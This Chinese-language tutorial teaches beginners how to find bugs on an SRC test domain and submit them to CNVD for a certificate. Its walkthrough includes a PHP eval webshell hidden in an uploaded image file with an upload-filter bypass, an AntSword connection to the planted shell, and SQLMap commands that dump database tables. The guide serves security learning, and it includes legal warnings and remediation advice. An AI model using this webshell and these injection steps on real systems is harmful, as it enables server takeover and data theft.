前言:CNVD 证书对 “脚本小子” 的意义
CNVD(国家信息安全漏洞库)作为国内权威的漏洞收录平台,其颁发的漏洞证明证书是白帽黑客的重要资质背书 —— 不仅能佐证实战能力,更是求职、技术交流中的 “硬通货”。对于刚入门的 “脚本小子”(依赖工具、侧重实战操作的新手)而言,通过基础工具完成一次 CNVD 漏洞提交并获取证书,是从 “工具使用者” 向 “实战白帽” 转型的关键一步。
本文将以 “网安新人视角”,拆解从工具准备→漏洞挖掘→报告提交→证书获取的全流程,所有操作均基于 “合法授权场景”(企业 SRC 测试专区),重点突出 “可落地、可复现”,帮助新手避开 “违法测试”“报告无效” 等坑。
一、战前准备:
脚本小子常犯的错误是 “直接上手扫漏洞”,忽略准备阶段的合规性与工具适配性。以下 3 个准备步骤,是获取 CNVD 证书的基础。
1. 工具清单:聚焦 “新手友好型” 工具
无需追求复杂工具,以下 5 类基础工具可覆盖 80% 的漏洞挖掘场景,且均为开源 / 免费版本:
| 工具类型 | 核心工具 | 用途说明 | 下载渠道 |
|---|---|---|---|
| 信息收集工具 | OneForAll、Nmap | 子域名收集、端口 / 服务版本扫描 | GitHub(OneForAll)、官网(Nmap) |
| 抓包分析工具 | Burp Suite 社区版 | 抓包改包、参数篡改、暴力破解 | PortSwigger 官网 |
| 漏洞扫描工具 | Xray(基础版) | 自动化 Web 漏洞扫描(SQL 注入、XSS、SSRF 等) | 长亭科技官网 |
| 漏洞利用工具 | SQLMap、蚁剑 | SQL 注入数据导出、WebShell 连接 | GitHub(SQLMap / 蚁剑) |
| 辅助识别工具 | Wappalyzer(浏览器插件) | 识别网站 CMS、中间件、前端框架 | Chrome 应用商店 |
工具部署要点:
- OneForAll 需配置 Python 环境(3.8+),安装依赖:
pip install -r requirements.txt;

- Xray 需提前配置代理(与 Burp 联动),避免扫描流量被拦截;
- 蚁剑需准备 “一句话木马”(如
<?php @eval($_POST['cmd']);?>),用于文件上传漏洞验证。
2. 合法授权:守住 “不违法” 的底线
新手最危险的行为是 “未经授权测试”,根据《网络安全法》第 27 条,“未经允许,不得对计算机信息系统实施渗透、攻击”,即使未造成损失,也可能面临罚款、拘留。合法测试场景选择(新手优先):
- 企业 SRC 平台(如阿里云 SRC、腾讯 SRC)的 “公开测试专区”;
- 厂商明确授权的测试域名(如某企业 SRC 标注 “test.example.com为测试靶场”);
- 自建靶场(如 DVWA、SQLI-LAB),但此类漏洞无法提交 CNVD。
本文实战场景:某电商企业 SRC 的 “公开测试专区”(域名:test.xxx-shop.com),已在 SRC 平台明确标注 “允许漏洞挖掘,禁止破坏数据”。
3. CNVD 账号准备:完成实名认证
提交漏洞前需注册 CNVD 账号并完成实名认证(个人需上传身份证正反面),步骤如下:
- 访问 CNVD 官网(https://www.cnvd.org.cn/),点击 “注册” 选择 “个人用户”;
- 填写基本信息(手机号、邮箱),完成短信验证;

-
进入 “个人中心→实名认证”,上传身份证照片,等待审核(1-3 个工作日);
-
认证通过后,开通 “漏洞提交” 权限(路径:“漏洞管理→漏洞提交”)。
二、漏洞挖掘全流程实战:从 “信息收集” 到 “危害验证”
新人的核心优势是 “工具组合使用效率”,以下流程严格遵循 “信息收集→扫描→验证→利用” 逻辑,避免盲目操作。
1. 第一步:信息收集 —— 找到 “可攻击的目标”
信息收集的目标是 “缩小测试范围,定位潜在漏洞点”,新手常忽略此步直接扫漏洞,导致效率极低。
(1)子域名收集:用 OneForAll 挖掘隐藏资产
脚本:python oneforall.py --target test.xxx-shop.com run操作结果:收集到 3 个相关子域名:
test.xxx-shop.com(主测试域);m.test.xxx-shop.com(移动端测试域);admin.test.xxx-shop.com(后台管理域,需登录)。
分析:优先选择主测试域(test.xxx-shop.com),移动端域可能存在适配漏洞,后台域因需登录暂放。
(2)端口与服务扫描:用 Nmap 找 “开放入口”
脚本:nmap -sV -p 1-65535 -oN nmap_result.txt test.xxx-shop.com
-sV:探测服务版本;-p 1-65535:扫描所有端口;-oN:输出结果到文本文件。
关键结果:
| 端口 | 服务类型 | 版本信息 | 潜在漏洞点 |
|---|---|---|---|
| 80 | HTTP | Apache/2.4.49 | 中间件漏洞(如 Apache 路径穿越) |
| 443 | HTTPS | OpenSSL 1.1.1f | 无高危已知漏洞 |
| 8080 | Tomcat | Apache Tomcat/9.0.45 | 管理端弱口令、后台文件上传 |
| 3306 | MySQL | MySQL 5.7.33 | 远程登录弱口令 |
分析:80 端口(Web 服务)和 8080 端口(Tomcat 后台)是重点测试对象,3306 端口需知道账号密码暂不测试。
(3)CMS 与中间件识别:用 Wappalyzer 找 “已知漏洞”
打开 Chrome 浏览器,启用 Wappalyzer 插件,访问test.xxx-shop.com,识别结果:
- CMS:织梦 DedeCMS 5.7(存在多个已知漏洞,如文件上传、SQL 注入);
- 前端框架:jQuery 1.8.3(无高危漏洞);
- 服务器:Linux(CentOS 7)。
结论:织梦 CMS 是重点突破点,需优先测试其已知漏洞(如 DedeCMS 5.7 的 “文件管理器上传漏洞”)。
2. 第二步:漏洞扫描 —— 用 Xray 自动化找 “可疑漏洞”
Xray 是新手友好的自动化扫描工具,支持被动扫描(通过 Burp 代理抓包)和主动扫描,此处选择 “被动扫描 + Web 漏洞” 模式。
(1)配置 Burp 与 Xray 联动
- 启动 Xray,执行被动扫描命令:
xray webscan --listen 127.0.0.1:8080 --html-output xray_report.html; - 打开 Burp Suite,进入 “Proxy→Options→Upstream Proxy Servers”,添加代理:
- 地址:127.0.0.1,端口:8080;
- 勾选 “Use this proxy server for all requests”。
(2)手动浏览目标网站,触发扫描
在浏览器中访问test.xxx-shop.com,完成以下操作(目的是让 Burp 抓取更多请求):
- 浏览首页、商品列表页、商品详情页;
- 尝试用户注册(用测试账号:test123@xxx.com);
- 提交商品评论(输入测试内容)。
(3)分析 Xray 扫描报告
扫描结束后打开xray_report.html,重点关注 “高危漏洞”:
- 漏洞 1:
test.xxx-shop.com/plus/ajax_upload.php存在文件上传漏洞(风险等级:高危); - 漏洞 2:
test.xxx-shop.com/show.php?id=123存在 SQL 注入漏洞(风险等级:高危); - 漏洞 3:
test.xxx-shop.com/comment.php存在反射型 XSS 漏洞(风险等级:中危)。
关键动作:排除误报 ——Xray 可能将 “参数拼接” 误判为 SQL 注入,需手动验证高危漏洞(漏洞 1、2)。
3. 第三步:手动验证高危漏洞 —— 确认 “漏洞真实存在”
自动化扫描结果需手动验证,避免提交 “误报漏洞” 导致 CNVD 审核失败。
(1)验证 “文件上传漏洞”(漏洞 1)
目标地址:test.xxx-shop.com/plus/ajax_upload.php(织梦 CMS 的默认上传接口)操作步骤:
-
打开 Burp,访问上传页面(
test.xxx-shop.com/plus/upload.php),点击 “选择文件” 上传一张正常图片(如test.jpg); -
在 Burp 的 “Proxy→Intercept” 中拦截上传请求,修改 “Content-Type” 为
image/jpeg将文件名改为
test.php.jpg并在图片末尾插入 “一句话木马”:
<?php @eval($_POST['cmd']);?> -
点击 “Forward” 发送请求,返回结果显示 “上传成功,路径:/uploads/202405/test.php.jpg”;
-
用蚁剑连接该路径:添加 “http://test.xxx-shop.com/uploads/202405/test.php.jpg”,密码 “cmd”,点击 “测试连接”—— 连接成功,获取 WebShell。
结论:文件上传漏洞真实存在,可 getshell,符合 CNVD 高危漏洞标准。
(2)验证 “SQL 注入漏洞”(漏洞 2)
目标地址:test.xxx-shop.com/show.php?id=123操作步骤:
-
手动测试:在 URL 后添加
' and 1=2--+,变为test.xxx-shop.com/show.php?id=123' and 1=2--+,页面显示 “无数据”(正常应为 “商品不存在”),初步判断存在注入; -
用 SQLMap 深化验证,脚本:
python sqlmap.py -u "test.xxx-shop.com/show.php?id=123" --dbs --batch -
结果:成功导出数据库列表,包含
xxx_shop_test(测试库),进一步执行--tables可导出用户表(user_test),包含测试账号的明文密码(符合 SRC “禁止破坏数据” 要求,未导出完整数据)。
结论:SQL 注入漏洞真实存在,可读取数据库数据,属于高危漏洞。
4. 第四步:危害验证 —— 证明 “漏洞有实际风险”
CNVD 要求漏洞需 “有明确危害”,不能仅停留在 “技术可利用”,需完成以下验证:
- 对文件上传漏洞:通过蚁剑查看服务器目录,证明可访问
/var/www/html(网站根目录),但未修改 / 删除任何文件; - 对 SQL 注入漏洞:导出
user_test表的前 10 条数据(脱敏处理,隐藏真实手机号 / 邮箱),证明可窃取用户信息; - 截图 / 录屏:记录所有操作步骤(如上传木马、SQLMap 执行结果、蚁剑连接成功界面),需包含 “目标域名、操作时间、结果”,避免模糊。
三、CNVD 漏洞报告撰写:按 “模板” 写,通过率提升 80%
脚本小子常因 “报告不规范” 导致 CNVD 审核失败,以下模板严格遵循 CNVD 要求,包含所有必填项。
1. 报告核心结构(CNVD 平台表单字段)
(1)漏洞基本信息(必填)
| 字段名称 | 填写示例 | 注意事项 |
|---|---|---|
| 漏洞名称 | 某电商测试域(test.xxx-shop.com)织梦 CMS 文件上传漏洞 | 包含 “目标、漏洞类型”,避免模糊(如 “文件上传漏洞”) |
| 漏洞类型 | Web 应用漏洞→文件上传漏洞 | 从 CNVD 下拉列表选择,不可自定义 |
| 影响产品 | 织梦 DedeCMS 5.7 | 填写具体产品及版本,需与实际一致 |
| 影响范围 | 仅test.xxx-shop.com(测试域) | 明确标注 “测试域”,避免误导为生产环境 |
| 漏洞等级 | 高危 | 参考 CNVD 分级:高危 / 中危 / 低危 / 信息 |
(2)漏洞详情(核心,需附截图)
按 “步骤 + 结果” 逻辑撰写,示例:
- 漏洞位置:
test.xxx-shop.com/plus/ajax_upload.php(织梦 CMS 默认上传接口); - 触发条件:
- 访问上传页面
test.xxx-shop.com/plus/upload.php,选择 “图片文件”; - 用 Burp 拦截请求,修改文件名为 “test.php.jpg”,在文件末尾插入一句话木马;
- 发送请求后,返回 “上传成功”,获取文件路径
/uploads/202405/test.php.jpg;
- 访问上传页面
- 利用结果:用蚁剑连接该路径,成功获取 WebShell,可访问网站根目录(截图 1:Burp 抓包修改界面;截图 2:蚁剑连接成功界面)。
(3)危害分析(必填)
需说明 “漏洞可能导致的实际损失”,示例:“攻击者可通过该漏洞上传恶意文件(如木马),获取服务器 WebShell,进而读取用户数据、篡改网站内容,甚至横向渗透内网。因目标为测试域,暂未造成生产环境影响,但漏洞原理与生产环境一致,需修复。”
(4)修复建议(具体可落地)
避免 “泛泛而谈”,需给出技术方案,示例:
- 升级织梦 CMS 至最新版本(DedeCMS 5.8.1),官方已修复该上传漏洞;
- 对上传接口添加 “文件内容校验”(如验证图片文件的 EXIF 信息,拒绝含 PHP 代码的文件);
- 限制上传文件的存储目录权限(如
uploads目录禁止执行 PHP 脚本)。
2. 证明材料准备:截图 / 视频需 “清晰、连贯”
CNVD 要求 “每个关键步骤需附证明材料”,新手需注意:
- 截图需包含 “目标域名”(如浏览器地址栏显示
test.xxx-shop.com); - 视频需无剪辑(建议用 OBS 录制,时长控制在 5 分钟内),包含 “操作→结果” 完整流程;
- 敏感信息脱敏(如用户数据中的手机号用 “138****1234” 代替)。
材料清单:
- 截图 1:OneForAll 子域名收集结果;
- 截图 2:Nmap 端口扫描结果(标注 80 端口);
- 截图 3:Burp 修改上传请求界面;
- 截图 4:蚁剑连接成功界面(显示服务器目录);
- 视频:完整上传→连接流程(命名格式:“test.xxx-shop.com文件上传漏洞.mp4”)。

3. 提交流程(CNVD 平台操作)
- 登录 CNVD,进入 “漏洞管理→漏洞提交”,选择 “Web 应用漏洞”;
- 按表单填写 “漏洞基本信息→漏洞详情→危害分析→修复建议”;
- 上传证明材料;
- 勾选 “本人承诺:所提交漏洞真实有效,已获得合法授权”,点击 “提交”;
- 记录 “漏洞报告编号”(如 CNVD-2024-XXXX),用于后续查询进度。
四、CNVD 审核与证书获取:等待 + 应对反馈
你只需耐心等待审核,CNVD 审核周期通常为 7-15 个工作日,
1. 常见审核失败原因与解决方法
| 失败原因 | 解决方法 |
|---|---|
| 漏洞描述不清晰 | 补充 “步骤截图”,每个操作对应 1 张截图 |
| 证明材料无目标域名 | 重新截图,确保浏览器地址栏显示测试域名 |
| 漏洞已被提交(重复) | 查询 CNVD 漏洞库,确认是否已有相同漏洞 |
| 未获得合法授权 | 补充 SRC 平台授权截图(如 “test.xxx-shop.com为测试域”) |
2. 证书下载与使用
审核通过后,CNVD 会发送邮件至注册邮箱,包含 “漏洞编号、证书下载链接”,步骤如下:
- 点击邮件中的链接,登录 CNVD 账号;
- 进入 “漏洞管理→我的漏洞”,找到对应漏洞,点击 “下载证书”;
- 证书为 PDF 格式,包含 “漏洞编号、提交者、颁发日期、CNVD 公章”,可用于求职简历、技术认证。

五、脚本小子的进阶建议与风险提示
- 从 “工具使用者” 到 “原理理解者”:本次实战依赖工具,但需后续补充原理(如文件上传漏洞的 “文件解析漏洞” 原理、SQL 注入的 “语句拼接漏洞” 本质),避免永远停留在 “脚本小子” 阶段。
- 合法合规红线不可碰:切勿将测试范围扩大到 “非授权域名”,即使是 “测试域” 也需遵守 SRC 规则(如禁止删除数据、禁止植入恶意代码),《网络安全法》对 “破坏计算机信息系统” 的量刑最高可达 5 年以上有期徒刑。
- 实战积累路径:
- 初期:在 SRC 平台提交简单漏洞(XSS、SQL 注入),积累报告经验;
- 中期:学习代码审计(如 PHP 基础),挖掘逻辑漏洞(如支付越权);
- 后期:尝试二进制漏洞(需学逆向工程),提交更高价值漏洞。
结语:CNVD 证书是 “起点”,不是 “终点”
对于脚本小子而言,第一次获取 CNVD 证书的意义,在于 “建立实战信心” 和 “理解合规边界”。但需明确:漏洞挖掘的核心不是 “拿证书”,而是 “通过技术保护系统安全”。
后续学习中,建议逐步减少对 “自动化工具” 的依赖,深入理解漏洞原理,从 “能找到漏洞” 向 “能修复漏洞” 转型 —— 这才是白帽黑客的核心价值。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



1478

被折叠的 条评论
为什么被折叠?



